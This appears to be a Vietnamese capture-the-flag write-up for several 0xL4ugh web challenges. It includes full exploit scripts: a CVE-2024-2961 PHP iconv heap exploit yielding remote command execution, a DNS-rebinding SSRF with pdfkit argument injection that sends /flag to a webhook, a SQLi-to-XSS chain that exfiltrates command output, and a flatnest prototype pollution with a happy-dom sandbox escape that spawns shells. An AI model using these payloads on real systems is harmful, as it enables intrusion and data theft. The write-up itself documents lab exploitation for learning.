Skip to main content

OxL4ugh CTF

·3757 words·18 mins

0xNote
#

image

Overview
#

  • Backend : fpm
    image
  • Proxy : nginx
    image
  • Giao diện
    image
  • Tuy nhiên bị chặn ở /premium.php

Solve
#

  • Với cách viết proxy như sau ta có thể bypass bằng việc thêm index.php ngay sau thư mục mà ta bị chặn (premium.php)
    image
  • Cách bypass ở đây
  • Sau khi vào được /premium.php bằng /premium.php/index.php ta thấy được ứng dụng set color không fillter input người dùng
  • Như đoạn code sau nếu có thể kiểm soát được colornote thì có thể tạo ra 1 object mới :
    image

Exploit
#

  • CHúng ta sẽ dùng SPLFileObject để đọc 1 file bất kì
  • Set path : php://filter/convert.base64-encode/resource=/etc/passwd
    image
  • Set Classname
    image
  • Đọc kết quả
    image
  • Auket lấy được etc/passwd tuy nhiên flag có quyền Owner vậy nên chưa đủ quyền để đọc
    image

Nâng quyền
#

  • Ngay khi thực hiện được SPLFileObject như ở trên ta cũng có thể biến thể để nâng lên từ đọc file thành RCE từ đoạn tài liệu saucái này
    image
  • Sau đây sẽ là PWN CORE , mình đéo biết giải thích như nào nên chạy code thôi ; Vào http://localhost:5000/ để check id
import requests
from pwn import *
import re
import base64
import zlib
from bs4 import BeautifulSoup

session = requests.Session()

## Constant

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

## Post init function

def get_file(url, path):
    path = f"php://filter/convert.base64-encode/resource={path}"
    r = session.post(url + 'login.php', data={'username':'winky'})
    r = session.post(url + 'index.php', data={'note':path})
    r = session.post(url + '/premium.php/index.php', data={'color': 'SplFileObject'})
    r = session.get(url + 'index.php')
    soup = BeautifulSoup(r.text, "html.parser")
    data = soup.find("div", id="noteContent").get_text(strip=True)
    return base64.b64decode(data)

def compress(data):
    return zlib.compress(data, 9)[2:-4]

def compressed_bucket(data):
    return chunked_chunk(data, 0x8000)

def qpe(data):
    return "".join(f"={x:02x}" for x in data).upper().encode()

def ptr_bucket(*ptrs, size=None):
    if size is not None:
        assert len(ptrs) * 8 == size
    bucket = b"".join(map(p64, ptrs))
    bucket = qpe(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = chunked_chunk(bucket)
    bucket = compressed_bucket(bucket)
    return bucket

def chunked_chunk(data, size: int = None):
    if size is None:
        size = len(data) + 8
    keep = len(data) + len(b"\n\n")
    size = f"{len(data):x}".rjust(size - keep, "0")
    return size.encode() + b"\n" + data + b"\n"

## Pwn core

class PWN_Core():
    def __init__(self, url, command) -> None:
        self.url = url
        self.command = command
        self.info = {}
        self.heap = None
        self.pad = 20
        
    class Region():
        def __init__(self, start, stop, permissions, path):
            self.start = int(start)
            self.stop = int(stop)
            self.permissions = permissions
            self.path = path
        
        @property
        def size(self) -> int:
            return self.stop - self.start
    
    def download_file(self, remote_path: str, local_path: str) -> None:
        data = get_file(self.url, remote_path)
        Path(local_path).write_bytes(data)
    
    def get_regions(self):
        maps = get_file(self.url, "/proc/self/maps")
        maps = maps.decode()
        PATTERN = re.compile(
            r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
        )
        regions = []
        for region in [line.strip() for line in maps.strip().split('\n')]:
            if match := PATTERN.match(region):
                start = int(match.group(1), 16)
                stop = int(match.group(2), 16)
                permissions = match.group(3)
                path = match.group(4)
                if "/" in path or "[" in path:
                    path = path.rsplit(" ", 1)[-1]
                else:
                    path = ""
                current = self.Region(start, stop, permissions, path)
                regions.append(current)
                
            else:
                print(maps)
        return regions

    def _get_region(self, regions: list[Region], *names: str) -> Region:
        for region in regions:
            if any(name in region.path for name in names):
                break
        return region

    def find_main_heap(self, regions):
        heaps = [
            region.stop - HEAP_SIZE + 0x40
            for region in reversed(regions)
            if region.permissions == "rw-p"
            and region.size >= HEAP_SIZE
            and region.stop & (HEAP_SIZE-1) == 0
            and region.path in ("", "[anon:zend_alloc]")
        ]
        first = heaps[0]
        if len(heaps) > 1:
            heaps = ", ".join(map(hex, heaps))
        return first

    def get_symbols_and_addresses(self) -> None:
        regions = self.get_regions()
        LIBC_FILE = "./libc"
        self.info["heap"] = self.find_main_heap(regions)
        libc = self._get_region(regions, "libc-", "libc.so")
        self.download_file(libc.path, LIBC_FILE)
        self.info["libc"] = ELF(LIBC_FILE, checksec=False)
        self.info["libc"].address = libc.start

    def build_exploit_path(self):
        
        self.get_symbols_and_addresses()
        
        LIBC = self.info["libc"]
        ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
        ADDR_EFREE = LIBC.symbols["__libc_system"]
        ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
        ADDR_HEAP = self.info["heap"]
        ADDR_FREE_SLOT = ADDR_HEAP + 0x20
        ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
        ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
        CS = 0x100

        pad_size = CS - 0x18
        pad = b"\x00" * pad_size
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = chunked_chunk(pad, len(pad) + 6)
        pad = compressed_bucket(pad)

        step1_size = 1
        step1 = b"\x00" * step1_size
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1)
        step1 = chunked_chunk(step1, CS)
        step1 = compressed_bucket(step1)
        
        step2_size = 0x48
        step2 = b"\x00" * (step2_size + 8)
        step2 = chunked_chunk(step2, CS)
        step2 = chunked_chunk(step2)
        step2 = compressed_bucket(step2)

        step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
        step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
        step2_write_ptr = chunked_chunk(step2_write_ptr)
        step2_write_ptr = compressed_bucket(step2_write_ptr)

        step3_size = CS
        step3 = b"\x00" * step3_size
        assert len(step3) == CS
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = chunked_chunk(step3)
        step3 = compressed_bucket(step3)

        step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
        assert len(step3_overflow) == CS
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = chunked_chunk(step3_overflow)
        step3_overflow = compressed_bucket(step3_overflow)

        step4_size = CS
        step4 = b"=00" + b"\x00" * (step4_size - 1)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = chunked_chunk(step4)
        step4 = compressed_bucket(step4)
        
        step4_pwn = ptr_bucket(
            0x200000,
            0,
            # free_slot
            0,
            0,
            ADDR_CUSTOM_HEAP,  # 0x18
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            ADDR_HEAP,  # 0x140
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            size=CS,
        )

        step4_custom_heap = ptr_bucket(
            ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
        )
        
        step4_use_custom_heap_size = 0x140
        
        COMMAND = self.command
        COMMAND = f"kill -9 $PPID; {COMMAND}"
        COMMAND = COMMAND.encode() + b"\x00"

        COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

        step4_use_custom_heap = COMMAND
        step4_use_custom_heap = qpe(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
        step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
        
        pages = (
            step4 * 3
            + step4_pwn
            + step4_custom_heap
            + step4_use_custom_heap
            + step3_overflow
            + pad * self.pad
            + step1 * 3
            + step2_write_ptr
            + step2 * 2
        )
        
        resource = compress(compress(pages))
        resource = base64.b64encode(resource).decode()
        resource = f"data:text/plain;base64,{resource}"
        
        filters = [
            # Create buckets
            "zlib.inflate",
            "zlib.inflate",
            
            # Step 0: Setup heap
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 1: Reverse FL order
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 2: Put fake pointer and make FL order back to normal
            "dechunk",
            "convert.iconv.L1.L1",
            
            # Step 3: Trigger overflow
            "dechunk",
            "convert.iconv.UTF-8.ISO-2022-CN-EXT",
            
            # Step 4: Allocate at arbitrary address and change zend_mm_heap
            "convert.quoted-printable-decode",
            "convert.iconv.L1.L1",
        ]
        filters = "|".join(filters)
        path = f"php://filter/read={filters}/resource={resource}"
        return path

def solve():
    URL = 'http://localhost:5000/'
    
    command = 'id > /tmp/check_id'
    
    print(f'[+] Build payload với lệnh: {command}')
    path = PWN_Core(URL, command).build_exploit_path()
    
    # 2. Gửi Exploit (Chấp nhận lỗi 502/Server Crash)
    try:
        print('[*] Đang gửi payload kích hoạt RCE...')
        # Bước này server có thể trả về 502 do tiến trình crash, ta dùng try/except để bỏ qua lỗi
        # Lưu ý: Không gọi get_file ở đây để đọc kết quả ngay, vì hàm get_file sẽ fail khi parse HTML lỗi
        
        # Tự gửi request thủ công để tránh logic parse HTML của hàm get_file
        exploit_payload = f"php://filter/convert.base64-encode/resource={path}"
        session.post(URL + 'login.php', data={'username':'winky'})
        session.post(URL + 'index.php', data={'note': exploit_payload})
        session.post(URL + '/premium.php/index.php', data={'color': 'SplFileObject'})
        session.get(URL + 'index.php', timeout=5) # Kích hoạt exploit
        
    except Exception as e:
        # Lỗi 502 hoặc timeout là dấu hiệu tốt (server đang xử lý/crash do exploit)
        print(f'[!] Server phản hồi/crash (điều này là bình thường với CVE-2024-2961): {e}')
    
    # 3. Đợi hệ thống đồng bộ file
    import time
    print('[*] Đợi 2 giây để lệnh thực thi xong...')
    time.sleep(2)
    
    # 4. Đọc kết quả từ file /tmp/check_id bằng LFI (Sử dụng lại hàm get_file)
    print('[*] Đang đọc kết quả từ /tmp/check_id...')
    try:
        # Dùng chính tính năng SplFileObject để đọc file kết quả
        result = get_file(URL, "/tmp/check_id")
        
        if result:
            print('\n[+] KẾT QUẢ COMMAND ID:')
            print('='*40)
            print(result.decode('utf-8').strip())
            print('='*40)
        else:
            print('[-] Không đọc được kết quả. Có thể exploit chưa thành công.')
            
    except Exception as e:
        print(f'[-] Lỗi khi đọc file kết quả: {e}')

if __name__ == "__main__":
    solve()

image

  • Bây giờ để lấy flag cần sử dụng binary /readflag. Trong Dockerfile binary này đã được cấp quyền SUID tức là khi user nobody chạy nó, nó sẽ thực thi với quyền của chủ sở hữu file (là root)
def solve():
    URL = 'http://localhost:5000/'
    
    # Output được ghi vào /tmp/flag_result để user nobody có thể đọc lại sau đó
    command = '/readflag > /tmp/flag_result'
    
    print(f'[+] Đang tạo payload cho lệnh: {command}')
    
    path = PWN_Core(URL, command).build_exploit_path()
    
    # 1. Gửi Exploit (Trigger RCE)
    try:
        print('[*] Đang gửi payload kích hoạt RCE...')
        # Gửi request để kích hoạt lỗi iconv, server dự kiến sẽ crash (trả về 502)
        encoded_path = f"php://filter/convert.base64-encode/resource={path}"
        session.post(URL + 'login.php', data={'username':'winky'})
        session.post(URL + 'index.php', data={'note': encoded_path})
        session.post(URL + '/premium.php/index.php', data={'color': 'SplFileObject'})
        session.get(URL + 'index.php', timeout=5)
    except Exception as e:
        print(f'[!] Server đã crash/phản hồi (Dấu hiệu tốt): {e}')
    
    # 2. Đợi hệ thống xử lý
    import time
    print('[*] Đợi 2 giây để lệnh /readflag thực thi xong...')
    time.sleep(2)
    
    # 3. Đọc kết quả từ file tạm bằng kỹ thuật LFI cũ
    print('[*] Đang đọc flag từ /tmp/flag_result...')
    try:
        # Sử dụng lại hàm get_file (SplFileObject) để đọc file kết quả
        flag = get_file(URL, "/tmp/flag_result")
        
        if flag:
            print('\n' + '='*40)
            print(f"FLAG: {flag.decode('utf-8', errors='ignore').strip()}")
            print('='*40 + '\n')
        else:
            print('[-] Không đọc được flag. Có thể exploit thất bại hoặc file không tồn tại.')
            
    except Exception as e:
        print(f'[-] Lỗi khi đọc file flag: {e}')

if __name__ == "__main__":
    solve()

image

Flag: 0xL4ugh{1think_y0u_l0ved_my_pHp_n0te_e1bfd312v_dc754541a1d6a4fd}

pdf.exe
#

image

Overview
#

  • DNS Rebinding SSRF in Next.js Image Optimizer để chạm tới dịch vụ nội bộ
  • CRLF Injection in Python’s urllib.request data: URI handler để chèn header độc hại vào gói tin
  • pdfkit Argument Injection via injected HTML meta tags để lấy được nội dung của flag từ dịch vụ nội bộ

Next.js Image Optimizer SSRF
#

  • Trước tiên ta sẽ gặp được cấu hình file next.config.ts như sau :

    image
    => Willcard hostname: "**" cho phép tối ưu hình ảnh từ việc lấy ảnh từ bất kì host HTTP nào => Đối với endpoint /_next/image nếu kiểm soát được url ta có thể SSRF vào dịch vụ nội bộ

  • Đối với endpoint /_next/image chấp nhạn 3 tham số

Tham sốChức năng
urlUrl của ảnh và tối ưu
wChiều rộng mong muốn
qSố lượng
  • Request sẽ như sau : GET /_next/image?url=https://example.com/photo.jpg&w=640&q=75

  • Thực hiện SSRF cổ điển như sau GET /_next/image?url=http://127.0.0.1:5000/generate&w=640&q=75 nhưng đương nhiên sẽ bị chặn

  • Giờ đến lúc đâm sâu vào src với hàm fetchExternalImage

  • Hàm này sẽ có chức năng như sau :

    • Parse hostname từ ip
    • Resolve DNS để chuyển về ip
    • Kiểm tra xem có phải ip nội bộ không
    • Nếu là IP nội bộ thì chặn
    • Còn nếu không thì cho qua
  • Auke đây sẽ là lúc Time-of-Check to Time-of-Use (TOCTOU)

  • Thời gian server kiểm tra ip riêng sẽ là lúc ta thực hiện request đến mục tiêu

  • Sử dụng cái này để DNS rebinding

  • You control a domain

  • The DNS server is configured with a very low TTL and alternates responses:

    • First query -> 1.2.3.4 (public IP, passes validation)
    • Second query -> 127.0.0.1 (private IP, actual target)
  • Image optimizer:

    • Resolves evil.mushroom.cat -> 1.2.3.4 ✅ (validation passes)
    • Calls fetch(evil.mushroom.cat) -> DNS resolves again -> 127.0.0.1 Request hits localhost! ✅✅✅✅
  • URl sẽ như sau GET /_next/image?url=http://7f000001.8efab5ae.rbndr.us:5000/generate?data=...&w=640&q=75

    image

Python urllib CRLF Injection in (data:) URIs
#

  • Như ta thấy dataURI được ta kiểm soát hoàn toàn và nó chỉ fillter đơn giản bới data_uri.startswith("data:plain/text"): kiểm tra xem có bắt đầu chuỗi bằng data:plain/text không .

    image

  • Ngay sau đó datauri sẽ rơi vào urlopenPython's urllib.request sẽ xứ lí data: URIs through the DataHandler class.

    image

  • Data: URI sẽ có dạng data:[<mediatype>][;base64],<data>

  • Hàm email.message_from_string() xử lí headers. Headers được tách bới newline (\r\n or \n). Vậy nên ta chèn (%0A) vào phần mediatype

data:plain/text%0AContent-Disposition: malicious-header,mushroom

    ||
    ||
    \/
Content-Type: plain/text
Content-Disposition: malicious-header
  • Chúng ta sẽ chèn vào header Content-Disposition bới nó sẽ được đưa vào pdfkit lúc sau

pdfkit Argument Injection (The Flag Exfiltration)
#

  • pdfkit là tool để chuyển từ HTML sang pdf

  • Chúng ta có thể inject vào 1 đoạn html để lợi dụng 1 số chức năng để đọc flag

    image

  • Như vậy payload sẽ như sau :

<meta name="pdfkit-post-file" content="">
<meta name="pdfkit-leak-data" content="/flag">
<meta name="pdfkit-https://webhook.site/XXXX/" content="--cache-dir">
  • Payload sẽ được hình dung như sau :
    image
  • Double encode url ta được payload ⬇️

Final exploit
#

import requests
import time

paylaod = "http%3A%2F%2F7f000001.8efac8ce.rbndr.us%3A5000%2Fgenerate%3Fdata%3Ddata%3Aplain%2Ftext%250AContent-Disposition%3A%253Cmeta%2520name%3D%2522pdfkit-post-file%2522%2520content%3D%2522%2522%253E%2520%253Cmeta%2520name%3D%2522pdfkit-leak-data%2522%2520content%3D%2522%2Fflag%2522%253E%2520%253Cmeta%2520name%3D%2522pdfkit-https%3A%2F%2Fwebhook.site%2F1738ce87-4a08-47ae-9cd5-323dc449cb7d%2F%3Fq%3D--%2522%2520content%3D%2522--cache-dir%2522%253E%2Ccanelo"

r =  f"http://165.227.157.69/_next/image?url={paylaod}&w=256&q=75&"

print("Attack started check your webhook")

while True:
    _ = requests.get(r)
    time.sleep(0.1)

image

  • LƯU Ý : chall này không thực hiện được trên local bới đặc tính của NextJS FLAG : 0xL4ugh{my_pdfs_are_something_else_right?_179453d559cb1bec}

Smol Web
#

image
image

Phân tích
#

  • web service (port 5000): xem và đánh giá sản phẩm
  • bot service (port 3000): admin bot sử dụng puppeteer để visit URL được report

app/Dockerfile
#

  • Flag nằm trong biến môi trường, chỉ có thể đọc qua binary /readflagbinary (được set quyền SUID) => RCE

app/main.py
#

  • endpoint /ratings lấy tham số quantity và đưa trực tiếp vào lệnh SQL qua f-string

    image

  • Có filet '" nhưng vì đây là interger nên không cần dấu nháy để injection

  • Sau khi query bảng products code lấy user_id từ kết quả để query bảng users

    image

  • r['user_id'] là dữ liệu ta control được từ câu query trên

  • Tại templates/ratings_page.html creator được render với filter safe:

    image

=> Chain: inject payload vào cột user_id ở query 1 -> payload đó trở thành câu SQL query 2 -> trả về XSS payload vào biến name -> render ra HTML

Endpoint /search (chỉ access được từ localhost (từ phía bot)
#

image

  • Hàm sanitize_input chặn nhiều ký tự và các lệnh
    image
  • Nhưng find command có tuỳ chọn -exec => cần bypass filter để chạy /readflagbinary

Vuln
#

  1. SQL Injection (stage 1): inject còn quantity để control cột user_id trả về
  2. SQLi (stage 2): sử dụng giá trị user_id độc hại để Union Select ra payload XSS
  3. Reflected XSS: payload XSS hiển trị trên trang /ratings
  4. CSP bypass sử dụng JSONP endpoint của youtube (/oembed) để execute JS
  5. SSRF/local access: dùng bot để trigger request tới /search (endpoint nội bộ)
  6. Command Injection: inject tham số cho lẹnh find để thực thi /readflagbinary

Exploit
#

Bypass filter và payload encoding
#

  • Do quantity chặn dấu nháy ' nên không thể viết string trực tiếp => Dùng hàm CHAR(ascii_code) của SQLite và nối chuỗi bằng ||

Tạo payload XSS để bypass CSP
#

  • không thể dùng <script>alert(1)</script> => dùng gadget youtube <script src="https://www.youtube.com/oembed?callback=...Javascript..."></script>
  • Đoạn JS trong callback sẽ:
    • Tạo XMLHttpRequest POST tới /search
    • Gửi body: search=-exec /*e*b*y ;
    • Đọc response (output của lệnh find)
    • Gửi flag về webhook qua location

Bypass filter tại /search#

  • Lệnh cần chạy: /readflagbinary. Filter block: r, l, f, a, d... . Filter allow: e, b, y, *, / Payload: /*e*b*y
    • / : Root
    • * : match readflag
    • b : match b
    • * : match inar
    • y : match y => find sẽ execute: /readflagbinary

Chain SQLi
#

  • Ta cần nhúng XSS payload vào user_name

    • query 2 (inner): 0 UNION SELECT 1, '<script...XSS...>'
    • query 1 (outer): quantity = 0 UNION SELECT 1, 2, 3, (payload query 2 đã encode CHAR)
  • Khi server chạy:

    • query 1 trả về user_id là chuỗi SQL "0 UNION SELECT..."
    • query 2 chạy: SELECT ... WHERE id = 0 UNION SELECT 1, '<script...>'
    • User name là đoạn script
    • HTML render đoạn script -> Bot chạy script -> RCE -> Lấy Flag

Full script:
#

import urllib.parse
import requests

# [CONFIG] Thay đổi URL target và Webhook của bạn
TARGET_URL = "http://challenges2.ctf.sd:35129"
WEBHOOK = "https://webhook.site/0c04e078-b97c-4c59-82a9-fc5f06f2eea8" # Thay bằng webhook của bạn

def to_char(s):
    """
    Chuyển đổi string sang dạng SQLite CHAR() để bypass filter dấu nháy (')
    Ví dụ: 'ABC' -> CHAR(65,66,67)
    """
    chars = [str(ord(c)) for c in s]
    chunks = []
    # Chia nhỏ để tránh giới hạn tham số nếu có
    for i in range(0, len(chars), 40):
        chunk = ",".join(chars[i:i+40])
        chunks.append(f"CHAR({chunk})")
    return "||".join(chunks)

def generate_payload():
    print("[*] Generating Exploit Payload...")

    # 1. Javascript Payload: Chạy trên browser của Bot
    # Nhiệm vụ: POST vào /search để kích hoạt Command Injection, sau đó gửi kết quả về Webhook
    # Payload cmd injection: -exec /*e*b*y ;  (Tương đương: -exec /readflagbinary ;)
    js_code = (
        "var xhr=new XMLHttpRequest();"
        "xhr.open('POST','/search',true);"
        "xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');"
        "xhr.onload=function(){"
            "var d=new DOMParser().parseFromString(xhr.responseText,'text/html');"
            "var output=d.querySelector('pre').textContent;"
            "location='" + WEBHOOK + "?flag='+btoa(output)" 
        "};"
        "xhr.send('search=-exec /*e*b*y ;');"
    )
    
    # Encode JS để nhúng vào callback của Youtube
    encoded_js = urllib.parse.quote(js_code)
    
    # 2. XSS Payload: Bypass CSP bằng Youtube Oembed
    xss_tag = f'<script src="https://www.youtube.com/oembed?callback={encoded_js}"></script>'

    # 3. Inner SQL Injection (Query 2): Để inject XSS vào tên user
    # Cấu trúc: 0 UNION SELECT 1, 'PAYLOAD_XSS'
    inner_sqli = f"0 UNION SELECT 1,'{xss_tag}'"
    
    # Encode Inner SQLi sang CHAR() để tránh dấu nháy trong Outer SQLi
    char_payload = to_char(inner_sqli)
    
    # 4. Outer SQL Injection (Query 1): Inject vào tham số quantity
    # Cột thứ 4 là user_id, ta nhét payload inner vào đây
    final_sqli = f"0 UNION SELECT 1,2,3,{char_payload}"
    
    print(f"[+] Final Payload (for quantity param):\n{final_sqli}")
    return final_sqli

def send_exploit(payload):
    # Đường dẫn mà Bot sẽ visit. 
    # Bot sẽ truy cập: http://web:5000/ratings?quantity=...
    path_to_visit = f"/ratings?quantity={urllib.parse.quote(payload)}"
    
    report_url = f"{TARGET_URL}/report"
    print(f"[*] Sending report to: {report_url}")
    print(f"[*] Bot will visit: {path_to_visit}")

    try:
        r = requests.post(report_url, data={"url": path_to_visit})
        if r.status_code == 200:
            print("[+] Report sent successfully! Check your webhook.")
            print(f"[>] Webhook URL: {WEBHOOK}")
        else:
            print(f"[-] Failed to send report. Status: {r.status_code}")
            print(r.text)
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    payload = generate_payload()
    send_exploit(payload)

image
image

4llD4y
#

image
image

Phân tích
#

  • Flag được ghi vào một file có tên /flag_xxxxx.txt (nằm ở root /)
  • biến môi trường $FLAG bị unset -> RCE để list file trong / và đọc

app.js
#

image

  • Sử dụng expresshappy-dom
  • endpoint /config (POST)
    • Nhận JSON input
    • sử dụng thư viện flatnest hàm nest() để xử lý object đầu vào
  • endpoint /render (POST)
    • nhận html string
    • khởi tạo new Window() từ happy-dom
    • ghi HTML vào document và trả về outerHTML => Nơi ta execute XSS/JS nhưng mặc định happy-dom sẽ tắt execute JS

Vuln
#

1. prototype pollution trong flasnest (CVE-2023-26135)

  • image
  • Thư viện flatnest (v1.0.1) unflatten một object (chuyển key dạng dot-notation x.y thành nested object {x: {y: ...}})
  • Nhưng nó không lọc các key như __proto, constructor, prototype
  • Các payload kiểu cũ {"__proto__": {"settings": ...}} -> fail vì flatnest sẽ lọc key này
  • flatnest có một tính năng đặc biệt để hỗ trợ Circular References -> cho phép định nghĩa một chuỗi đặc biệt để trỏ ngược lại object cha (có tham tham khảo ở đây)
  • flatnest parse chuỗi có định dạng [Circular (path)]
  • nó không validate path bên trong Circular
  • khi ta gửi "[Circular (__proto__)]" flatnest sẽ phân giải nó và trỏ thẳng vào Object.prototype của object hiện tại mà không bị filter key chặn 2. sandbox escapse/RCE trong happy-dom
  • khi enableJavaScriptEvaluation được bật -> tag script trong HTML gửi lên sẽ được execute
  • Vì chạy trong cùng context với note process nên ta có thể dùng this.constructor.constructor để lấy Function constructor gốc -> gọi ra process của nodejs và rce

Exploit
#

prototype pollution
#

  • Dùng nest() tại /config để pollution Object.prototype.settings
{
    "polluter": "[Circular (__proto__)]",
    "polluter.settings": {},
    "polluter.settings.enableJavaScriptEvaluation": true
}
  • flatnest gán obj.polluter = obj.__proto__ (tức là Object.prototype)
  • Nó gán obj.polluter.settings.enableJavaScriptEvaluation = true <=> Object.prototype.settings = { enableJavaScriptEvaluation: true }

RCE
#

sandbox escapse
#

  • sau khi pollute và trả về { message: 'configuration applied' }
  • happy-dom sử dụng vm module của node.js để chạy script trong tag <script>
  • vm không phải là security sandbox. Context bên trong vm vẫn có thể truy cập vào constructor của các object cơ bản ( Object, Function)
  • ta dùng this.constructor.constructor (trong đó this là window/global scope của VM) sẽ trả về Function constructor của host process (node.js chính) cho phép ta thoát khỏi VM context và execute code

internal binding
#

  • process.binding('spawn_sync') là internal API của node.js được dùng bởi child_process. Dùng cái này để bypass nếu module child_process bị override hoặc filter, và nó khá ổn để spawn process con (như /bin/ls hay /bin/cat) trực tiếp
// thoát sandbox, lấy object process của node.js
const process = this.constructor.constructor("return process")();

// lấy internal binding để spawn process
const spawn = process.binding("spawn_sync");

// Cấu hình lệnh
const opts = {
    file: "/bin/ls",
    args: ["ls", "/"],
    envPairs: [],
    stdio: [
        {type:"pipe",readable:true,writable:false},
        {type:"pipe",readable:false,writable:true},
        {type:"pipe",readable:false,writable:true}
    ]
};

// excecute và lấy output
const result = spawn.spawn(opts);

// trả kết quả về client bằng cách ghi đè document body
document.body.innerHTML = String.fromCharCode.apply(null, new Uint8Array(result.output[1]));
  • Sử dụng lệnh ls / để xem tên file flag_*.txt

    image

  • Sau khi tìm được tên flag flag thì thay phần cấu hình thành lệnh cat:

...
const opts = {
    file: "/bin/cat",
    args: ["cat", "/flag_510a85c2731f7e49.txt"],
    envPairs: [],
    stdio: [
        {type:"pipe",readable:true,writable:false},
        {type:"pipe",readable:false,writable:true},
        {type:"pipe",readable:false,writable:true}
    ]
};
...

image

Full script exploit
#

import requests
import json

# Target config
TARGET_URL = "http://challenges2.ctf.sd:35309" # Đổi IP nếu cần
CMD_TO_RUN = "cat /flag_*.txt" # Lệnh cần chạy để lấy flag

def exploit():
    # Session để giữ kết nối tốt hơn
    s = requests.Session()

    print("[+] Step 1: Performing Prototype Pollution on flatnest...")
    
    # Payload abuse tính năng Circular Reference của flatnest
    # polluter -> Object.prototype
    pollution_payload = {
        "polluter": "[Circular (__proto__)]",
        "polluter.settings": {},
        "polluter.settings.enableJavaScriptEvaluation": True
    }
    
    try:
        r1 = s.post(
            f"{TARGET_URL}/config",
            json=pollution_payload,
            headers={"Content-Type": "application/json"}
        )
        print(f"[*] Pollution Response: {r1.text}")
    except Exception as e:
        print(f"[!] Error sending pollution: {e}")
        return

    print("[+] Step 2: Triggering RCE via Happy DOM...")
    
    # Payload Javascript độc hại để escape sandbox và chạy lệnh hệ thống
    # Dùng process.binding('spawn_sync') để chạy lệnh shell
    js_payload = f"""
    <script>
    try {{
        const process = this.constructor.constructor("return process")();
        const spawn = process.binding("spawn_sync");
        
        // Cấu trúc options cho spawn_sync binding
        const opts = {{
            file: '/bin/sh',
            args: ['sh', '-c', '{CMD_TO_RUN}'],
            envPairs: [],
            stdio: [
                {{type:'pipe',readable:true,writable:false}},
                {{type:'pipe',readable:false,writable:true}},
                {{type:'pipe',readable:false,writable:true}}
            ]
        }};
        
        const result = spawn.spawn(opts);
        
        // result.output[1] là stdout (buffer)
        const output = String.fromCharCode.apply(null, new Uint8Array(result.output[1]));
        const error = String.fromCharCode.apply(null, new Uint8Array(result.output[2]));
        
        document.body.innerHTML = output + error;
    }} catch(e) {{
        document.body.innerHTML = e.toString();
    }}
    </script>
    """
    
    render_payload = {
        "html": js_payload
    }

    try:
        r2 = s.post(
            f"{TARGET_URL}/render",
            json=render_payload,
            headers={"Content-Type": "application/json"}
        )
        
        print("-" * 30)
        print("[FLAG] Output retrieved:")
        print(r2.text)
        print("-" * 30)
        
    except Exception as e:
        print(f"[!] Error triggering RCE: {e}")

if __name__ == "__main__":
    exploit()

0xClinic
#

image

Overview
#

image

  • Reg không có quyền cao và cũng không thể làm gì hơn

Exploit
#

  • Passwd được lấy bằng national_id

  • Đầu tiên sẽ đi vào /api/profile/patient_test muốn biết được path này thì cần có kĩ năng fuzzing , và lấy được các thông tin như sau:

    image

  • Dựa vào thông tin này ta có thể tìm ra được national_id cũng như passwd của user : patient_test

    image

  • Auke lấy được account có xác thực : patient_test : 30508011601589

  • Như vậy ta đã chạm để đến các enpoint private của hệ thống

  • Ta sẽ lấy ADMIN_KEY ở file proc/1/environ bằng việc ReDos ; nếu thời gian delay thì kí tự ở vị trí đó là chính xác ; cứ thế ta sẽ lấy được chuỗi ADMIN_KEY ; path traversal chuyển về file environ để tìm kiếm thay vì chức năng mặc định là tìm kiếm ở file có tên được lấy với username người dùng

    image

  • Sau khi có được ADMIN_KEY ta mới có thể upload được file trên /api/health để rồi xss ……

    image

=================================================================

ĐƯỢC VIẾT LẠI BỞI : p1c0L0 AND TIWZA